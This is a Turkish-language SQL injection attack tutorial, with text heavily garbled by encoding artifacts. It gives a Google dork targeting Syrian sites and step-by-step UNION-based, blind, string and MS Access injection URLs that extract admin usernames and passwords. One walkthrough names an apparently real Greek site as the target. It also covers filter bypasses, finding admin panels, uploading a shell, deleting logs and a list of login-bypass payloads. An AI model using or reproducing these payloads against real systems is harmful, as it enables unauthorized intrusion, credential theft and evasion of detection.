Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

